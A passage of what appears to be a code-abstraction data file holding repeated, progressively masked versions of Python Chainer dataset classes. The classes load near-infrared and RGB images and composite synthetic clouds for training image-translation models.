0).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n return nir,\n\n\nclass TestRGB(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_rgb, imlist_rgb):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n return rgb,\n\n\nclass BaseTrain(chainer.dataset.DatasetMixin):\n\n def __init__(self):\n super().__init__()\n\n def transform(self, x, y):\n c, h, w = x.shape\n if self.augmentation:\n top = random.randint(0, h - self.size - 1)\n left = random.randint(0, w - self.size - 1)\n if random.randint(0, 1):\n x = x[:, :, ::-1]\n y = y[:, :, ::-1]\n else:\n top = (h - self.size) // 2\n left = (w - self.size) // 2\n bottom = top + self.size\n right = left + self.size\n x = x[:, top:bottom, left:right]\n y = y[:, top:bottom, left:right]\n return x, y\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n\n\nclass TestNIRRGB(chainer.dataset.DatasetMixin):\n <function token>\n <function token>\n <function token>\n\n\nclass TestNIR(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_nir, imlist_nir):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n\n def __len__(self):\n return len(self.nir)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n return nir,\n\n\nclass TestRGB(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_rgb, imlist_rgb):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n return rgb,\n\n\nclass BaseTrain(chainer.dataset.DatasetMixin):\n\n def __init__(self):\n super().__init__()\n\n def transform(self, x, y):\n c, h, w = x.shape\n if self.augmentation:\n top = random.randint(0, h - self.size - 1)\n left = random.randint(0, w - self.size - 1)\n if random.randint(0, 1):\n x = x[:, :, ::-1]\n y = y[:, :, ::-1]\n else:\n top = (h - self.size) // 2\n left = (w - self.size) // 2\n bottom = top + self.size\n right = left + self.size\n x = x[:, top:bottom, left:right]\n y = y[:, top:bottom, left:right]\n return x, y\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n\n\nclass TestNIR(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_nir, imlist_nir):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n\n def __len__(self):\n return len(self.nir)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n return nir,\n\n\nclass TestRGB(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_rgb, imlist_rgb):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n return rgb,\n\n\nclass BaseTrain(chainer.dataset.DatasetMixin):\n\n def __init__(self):\n super().__init__()\n\n def transform(self, x, y):\n c, h, w = x.shape\n if self.augmentation:\n top = random.randint(0, h - self.size - 1)\n left = random.randint(0, w - self.size - 1)\n if random.randint(0, 1):\n x = x[:, :, ::-1]\n y = y[:, :, ::-1]\n else:\n top = (h - self.size) // 2\n left = (w - self.size) // 2\n bottom = top + self.size\n right = left + self.size\n x = x[:, top:bottom, left:right]\n y = y[:, top:bottom, left:right]\n return x, y\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n\n\nclass TestNIR(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_nir, imlist_nir):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n\n def __len__(self):\n return len(self.nir)\n <function token>\n\n\nclass TestRGB(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_rgb, imlist_rgb):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n return rgb,\n\n\nclass BaseTrain(chainer.dataset.DatasetMixin):\n\n def __init__(self):\n super().__init__()\n\n def transform(self, x, y):\n c, h, w = x.shape\n if self.augmentation:\n top = random.randint(0, h - self.size - 1)\n left = random.randint(0, w - self.size - 1)\n if random.randint(0, 1):\n x = x[:, :, ::-1]\n y = y[:, :, ::-1]\n else:\n top = (h - self.size) // 2\n left = (w - self.size) // 2\n bottom = top + self.size\n right = left + self.size\n x = x[:, top:bottom, left:right]\n y = y[:, top:bottom, left:right]\n return x, y\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n\n\nclass TestNIR(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_nir, imlist_nir):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n <function token>\n <function token>\n\n\nclass TestRGB(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_rgb, imlist_rgb):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n return rgb,\n\n\nclass BaseTrain(chainer.dataset.DatasetMixin):\n\n def __init__(self):\n super().__init__()\n\n def transform(self, x, y):\n c, h, w = x.shape\n if self.augmentation:\n top = random.randint(0, h - self.size - 1)\n left = random.randint(0, w - self.size - 1)\n if random.randint(0, 1):\n x = x[:, :, ::-1]\n y = y[:, :, ::-1]\n else:\n top = (h - self.size) // 2\n left = (w - self.size) // 2\n bottom = top + self.size\n right = left + self.size\n x = x[:, top:bottom, left:right]\n y = y[:, top:bottom, left:right]\n return x, y\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n\n\nclass TestNIR(chainer.dataset.DatasetMixin):\n <function token>\n <function token>\n <function token>\n\n\nclass TestRGB(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_rgb, imlist_rgb):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n return rgb,\n\n\nclass BaseTrain(chainer.dataset.DatasetMixin):\n\n def __init__(self):\n super().__init__()\n\n def transform(self, x, y):\n c, h, w = x.shape\n if self.augmentation:\n top = random.randint(0, h - self.size - 1)\n left = random.randint(0, w - self.size - 1)\n if random.randint(0, 1):\n x = x[:, :, ::-1]\n y = y[:, :, ::-1]\n else:\n top = (h - self.size) // 2\n left = (w - self.size) // 2\n bottom = top + self.size\n right = left + self.size\n x = x[:, top:bottom, left:right]\n y = y[:, top:bottom, left:right]\n return x, y\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n rgb = clouded_rgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n rgb, rgbcloud = self.transform(rgb, rgbcloud)\n return rgb, rgbcloud\n\n\nclass NIR2RGB(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb, *args, **\n kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.0\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n nir, rgb = self.transform(nir, rgb)\n return nir, rgb\n", "<import token>\n<function token>\n<function token>\n<class token>\n<class token>\n\n\nclass TestRGB(chainer.dataset.DatasetMixin):\n\n def __init__(self, dir_rgb, imlist_rgb):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.0\n return rgb,\n\n\nclass BaseTrain(chainer.dataset.DatasetMixin):\n\n def __init__(self):\n super().__init__()\n\n def transform(self, x, y):\n c, h, w = x.shape\n if self.augmentation:\n top = random.randint(0, h - self.size - 1)\n left = random.randint(0, w - self.size - 1)\n if random.randint(0, 1):\n x = x[:, :, ::-1]\n y = y[:, :, ::-1]\n else:\n top = (h - self.size) // 2\n left = (w - self.size) // 2\n bottom = top + self.size\n right = left + self.size\n x = x[:, top:bottom, left:right]\n y = y[:, top:bottom, left:right]\n return x, y\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb,\n *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1.0 - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0.0, 255.0)\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.0\n rgbcloud = rgbcloud.transpose(2, 0, 1) / 127.5 - 1.0\n nirrgb, rgbcloud = self.transform(nirrgb, rgbcloud)\n return nirrgb, rgbcloud\n\n\nclass RGB2RGBCLOUD(BaseTrain):\n\n def __init__(self, dir_rgb, dir_cloud, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n alpha = cloud[:, :, 3] / 255.0\n alpha = 